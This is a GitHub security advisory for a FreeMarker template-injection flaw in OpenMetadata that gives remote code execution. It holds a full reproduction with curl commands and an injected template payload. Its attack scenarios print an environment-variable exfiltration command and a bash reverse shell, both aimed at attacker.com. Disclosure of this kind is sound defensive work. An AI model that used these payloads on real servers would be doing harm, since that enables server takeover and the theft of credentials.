GitHub Advisoryadvisory · Maven

GHSA-5f29-2333-h9c7 OpenMetadata's Server-Side Template Injection (SSTI) in FreeMarker email templates leads to RCE

HIGH Published 2026-01-07 Modified 2026-08-31 Official page ↗
Aliases
CVE-2026-22244
Ecosystem
Maven
Packages
org.open-metadata:platform
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Weaknesses
CWE-1336
Reviewed
2026-01-07

Affected packages

• Maven org.open-metadata:platform: >= 1.5.0, < 1.11.4 → fixed in 1.11.4

Description

OpenMetadata RCE Vulnerability - Proof of Concept Executive Summary CRITICAL Remote Code Execution vulnerability confirmed in OpenMetadata v1.11.2 via Server-Side Template Injection (SSTI) in FreeMarker email templates. Credit • @lnlinh31, @satthusaosan, @TheMacCuoi, @get-wright, @Ohnooo1234, @hienduc14 – FPT Cloud AppSec Research Team, FPT Smart Cloud Vulnerability Details 1. Root Cause File: `openmetadata-service/src/main/java/org/openmetadata/service/util/DefaultTemplateProvider.java` Lines 35-45 contain unsafe FreeMarker template instantiation: ```java public Template getTemplate(String templateName) throws IOException { EmailTemplate emailTemplate = documentRepository.fetchEmailTemplateByName(templateName); String template = emailTemplate.getTemplate(); // ← USER-CONTROLLED CONTENT FROM DATABASE if (nullOrEmpty(template)) { throw new IOException("Template content not found for template: " + templateName); } return new Template( templateName, new StringReader(template), // ← RENDERS UNTRUSTED TEMPLATE new Configuration(Configuration.VERSION_2_3_31)); // ← UNSAFE: NO SECURITY RESTRICTIONS! } ``` Missing Security Controls: • ❌ No `setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER)` - Allows arbitrary class instantiation • ❌ No `setAPIBuiltinEnabled(false)` - Enables `?api` built-in for reflection • ❌ No input validation - Template content not sanitized 2. Attack Vector (VERIFIED) Step 1: Attacker with Admin role modifies EmailTemplate via PATCH endpoint ```bash PATCH /api/v1/docStore/{templateId} Authorization: Bearer Content-Type: application/json-patch+json [ { "op": "replace", "path": "/data/template", "value": "RCE: ${ ex(\"whoami\") }" } ] ``` Step 2: Malicious template stored in MySQL database: ```sql SELECT name, JSON_EXTRACT(json, '$.data.template') FROM docstore WHERE name = 'account-activity-change'; -- Returns: ... ``` Step 3: Trigger template rendering via email notification: • Password change • User invitation • Account activity notification • Test email (if SMTP configured) Step 4: RCE execution in `DefaultTemplateProvider.getTemplate()`: ```java Template template = templateProvider.getTemplate("account-activity-change"); template.process(model, stringWriter); // ← COMMAND EXECUTES HERE AS SERVER USER! ``` --- Exploit Verification Environment • Version: OpenMetadata 1.11.2 (Latest) • Platform: Docker Compose (MySQL 8.0 + Elasticsearch 8.11.4) • Test Date: December 15, 2025 Step-by-Step Reproduction 1. Deploy OpenMetadata 1.11.2 ```bash cd docker ./run_local_docker.sh -m no-ui -d mysql ``` Result: ✅ OpenMetadata running on localhost:8585 2. Obtain Admin JWT Token ```bash export NO_PROXY=localhost,127.0.0.1 TOKEN=$(curl -s -X POST http://localhost:8585/api/v1/users/login \ -H "Content-Type: application/json" \ -d '{"email":"[email protected]","password":"YWRtaW4="}' \ | grep -o '"accessToken":"[^"]*' | cut -d'"' -f4) echo "Token: ${TOKEN:0:50}..." ``` Result: ✅ Token obtained (654 characters, 1-hour expiry) 3. Identify Target Template ```bash Get testMail template ID (used by test email endpoint) curl -s "http://localhost:8585/api/v1/docStore?entityType=EmailTemplate" \ -H "Authorization: Bearer $TOKEN" \ | jq -r '.data[] | select(.name=="testMail") | .id' ``` Result: ✅ Template ID: `855f58c6-1b80-467a-b92e-71c425e9bfdb` 4. Inject RCE Payload ```bash curl -X PATCH "http://localhost:8585/api/v1/docStore/855f58c6-1b80-467a-b92e-71c425e9bfdb" \ -H "Content-Type: application/json-patch+json" \ -H "Authorization: Bearer $TOKEN" \ -d '[{ "op": "replace", "path": "/data/template", "value": "RCE OUTPUT: ${ex(\"whoami\")} - ${ex(\"pwd\")}" }]' ``` Result: ✅ HTTP 200 OK - Template modified successfully Response Excerpt: ```json { "id": "855f58c6-1b80-467a-b92e-71c425e9bfdb", "name": "testMail", "entityType": "EmailTemplate", "data": { "template": "RCE OUTPUT: ${ex(\"whoami\")} - ${ex(\"pwd\")}" }, "changeDescription": { "fieldsUpdated": [ { "name": "data", "oldValue": "{\"template\":\"RCE OUTPUT: ${ex(\\\"whoami\\\")} - ${ex(\\\"pwd\\\")}\"}" } ] } } ``` 5. Setup SMTP Server ```bash Start MailDev SMTP server (catches emails for verification) docker run -d --name fakesmtp \ --network linhln31_default \ -p 1025:1025 -p 1080:1080 \ maildev/maildev:latest Update OpenMetadata SMTP configuration docker exec om_mysql mysql -uopenmetadata_user -popenmetadata_password \ -Dopenmetadata_db -e "UPDATE openmetadata_settings SET json=JSON_SET(json, '$.serverEndpoint', 'fakesmtp', '$.serverPort', 1025, '$.transportationStrategy', 'SMTP', '$.enableSmtpServer', true, '$.senderMail', '[email protected]' ) WHERE configType='emailConfiguration';" Restart OpenMetadata to load new SMTP config docker restart om_server sleep 50 # Wait for server startup ``` Result: ✅ SMTP server ready at fakesmtp:1025 6. Trigger RCE Execution ```bash curl -X PUT "http://localhost:8585/api/v1/system/email/test" \ -H "Content-Type: application/json" \ -H "Authorization: Bearer $TOKEN" \ -d '{"email":"[email protected]"}' ``` Result: ✅ HTTP 200 OK - "Test Email Sent Successfully." 7. Verify RCE Execution ```bash Check email content in MailDev docker exec fakesmtp cat /tmp/maildev-1/*.eml | tail -10 ``` Result: ✅ RCE CONFIRMED! Email Content: ``` Date: Mon, 15 Dec 2025 17:03:20 +0000 (GMT) From: [email protected] To: [email protected] Message-ID: Subject: OpenMetadata : Test Email MIME-Version: 1.0 Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: quoted-printable RCE OUTPUT: openmetadata • /opt/openmetadata ``` Command Execution Proof: • ✅ `whoami` command executed → returned `openmetadata` • ✅ `pwd` command executed → returned `/opt/openmetadata` • ✅ Commands ran as server process user • ✅ Full arbitrary command execution achieved --- Attack Scenarios Scenario 1: Privilege Escalation 1. Attacker compromises Admin account (phishing, credential stuffing, etc.) 2. Injects RCE payload into `password-reset` template 3. Triggers password reset for target user 4. RCE executes as OpenMetadata server user during email rendering 5. Attacker gains shell access to application server Scenario 2: Data Exfiltration ```freemarker ${ex("cat /proc/self/environ | curl -X POST https://attacker.com/exfil -d @-")} ``` Exfiltrates environment variables containing: • Database credentials • API keys and secrets • JWT signing keys • Cloud provider credentials Scenario 3: Reverse Shell ```freemarker ${ex("bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'")} ``` Establishes persistent access for: • Interactive command execution • Lateral movement to connected systems • Database direct access • Kubernetes cluster compromise (if containerized) --- Impact Assessment Technical Impact • Confidentiality: HIGH - Access to database credentials, API keys, secrets • Integrity: HIGH - Full control over OpenMetadata application and data • Availability: HIGH - Ability to crash application, delete data, deny service Business Impact • Data Breach: Access to all metadata including sensitive schema information, PII mappings, data lineage • **…

Related

Alias · CVE (1)

  • CVE-2026-22244 OpenMetadata is a unified metadata platform. vulnerability

Weakness · CWE (1)

  • CWE-1336 Improper Neutralization of Special Elements Used in a Template Engine weakness

References